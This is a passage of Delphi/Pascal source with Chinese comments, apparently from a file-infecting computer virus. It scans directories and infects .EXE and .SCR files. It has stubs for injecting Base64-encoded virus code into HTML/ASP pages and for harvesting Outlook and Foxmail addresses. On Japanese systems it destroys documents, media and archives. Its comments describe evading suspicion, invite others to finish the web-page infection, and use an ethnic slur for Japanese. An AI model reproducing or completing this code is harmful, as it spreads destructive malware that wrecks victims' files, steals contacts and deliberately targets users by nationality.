ger;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> ''.'') and
(SearchRec.Name <> ''..'') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''.'') and
(SearchRec.Name <> ''..'') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = ''.EXE'') or (Ext = ''.SCR'') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = ''.HTM'') or (Ext = ''.HTML'') or (Ext = ''.ASP'') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = ''.WAB'' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = ''.ADC'' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = ''IND'' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = ''.DOC'') or (Ext = ''.XLS'') or (Ext = ''.MDB'') or
(Ext = ''.MP3'') or (Ext = ''.RM'') or (Ext = ''.RA'') or
(Ext = ''.WMA'') or (Ext = ''.ZIP'') or (Ext = ''.RAR'') or
(Ext = ''.MPEG'') or (Ext = ''.ASF'') or (Ext = ''.JPG'') or
(Ext = ''.JPEG'') or (Ext = ''.GIF'') or (Ext = ''.SWF'') or
(Ext = ''.PDF'') or (Ext = ''.CHM'') or (Ext = ''.AVI'') then
SmashFile(Fn); //摧毁文件
&n